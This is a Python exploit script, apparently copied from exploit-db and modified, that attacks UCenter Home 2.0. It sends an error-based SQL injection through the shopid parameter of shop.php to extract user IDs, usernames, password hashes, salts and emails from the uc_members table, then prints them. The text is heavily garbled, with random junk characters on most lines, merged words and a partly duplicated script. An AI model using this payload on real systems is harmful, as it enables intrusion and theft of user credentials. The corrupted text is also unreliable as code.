#!/usr/bin/envpython importsys importurllib2 importre definfo(): print'From:http://www.exploit-db.com/exploits/14997/' print 'http://www.hake.cc/Web_loudong/' print'changed:qiaoy' print'exp:' print'./UCenter_Home_2.0.pysite' defmain(): ifl# {! G2 u9 N( [1 x5 ]0 d, A2 q1 i
" ~" t C+ `7 g( N5 {" E& E0 y. u5 ]
[4 |: w0 ?! i3 s; J$ S
#!/usr/bin/env python + p, w; W0 Q8 `& o2 j$ ? N
) B1 q* j( q3 ?1 j0 r" y
import sys ' y+ j/ h9 Y4 _0 |: [, X
import urllib2 7 K$ S! z: L4 J! h
import re # d- {/ [1 H; J) f7 S" }, ?! c
# @7 _- U6 U( @+ C3 l+ Q' A' {) ]def info():
; z. U" \1 ]2 d% s, w" e& L print 'From:http://www.exploit-db.com/exploits/14997/' 1 i' u5 {- S$ |
print 'http://www.hake.cc/Web_loudong/' 9 g8 S+ D, t o1 k1 F0 u
print 'changed:qiaoy' # B9 M* j6 Y5 }8 F9 j9 y
print 'exp:' " X& _* x5 H g& N3 z+ q( h
print ' ./UCenter_Home_2.0.py site'
8 r. o6 d! m _/ c0 R, ^ " n' O$ J. J1 N. e5 Q- P
def main():
J. | p& I' v7 d7 C' s if len(sys.argv) != 2:
% u4 w: F- [9 o7 Z1 b: m. h5 m info()
4 K" b5 n" Y& l5 ~0 K, | else: . `+ ^: U' \: [1 Y
site = sys.argv[1]
& X& X4 C2 b9 w$ s" z, B7 k) e if site[0:7] == 'http://': ( Z. l6 | g/ x
sitesite =site
) f" g! F8 e5 J* Z J# \$ d4 h elif site[0:8] == 'https://':
6 R. \$ b2 T2 f$ i) ]+ ]& P sitesite = site & C& {. u* ^7 z5 O9 f! a+ l5 v( ^
else: 2 y t/ d6 W+ |) K) h
site = 'http://'+site
+ e" a# \& H; C6 n' e3 R- q2 P try: ( q3 e- O3 j! O [8 {
url = site+'/shop.php?ac=view&shopid=50534+and+(select+1+from(select+count(*),concat((select+(select+(select+concat(0x7e,0x27,cast(concat(uid,0x3a,username,0x3a,password,0x3a,salt,0x3a,email)+as+char),0x27,0x7e)+from+ucenter.uc_members+LIMIT+0,1))+from+information_schema.tables+limit+0,1),floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)+and+11=1' * T q% D* |; c# u& W' L2 q* T8 R* V
Value = urllib2.urlopen(url).read() $ [9 u+ v, p( D7 u5 m9 t0 h
Msg = re.findall(r'Duplicate entry \'~\'(.*?)\' for key',Value)[0] / P, I7 `( I `+ I" Q8 M
hacked = Msg.split(':') 9 |" e4 W- Y, X! l" q
print 'Name: '+hacked[1]
# ]9 o5 ?3 t3 A/ P print 'Passwd: '+hacked[2]
/ `- s5 R+ D. a/ Z/ V print 'salt: '+hacked[3]
1 ?1 j& g5 j9 z! w2 }( U9 c0 N print 'email: '+hacked[4] 1 O( u8 R2 ^: {2 Q; A
except:
6 U; p' z7 [- L print 'Sorry,I can\'t work............'
5 ^' g* b8 |5 m+ P , ?; v W/ U) b9 R
if __name__ == '__main__':
) |" g# Z7 z% n/ e: O3 z5 s1 w" U main() |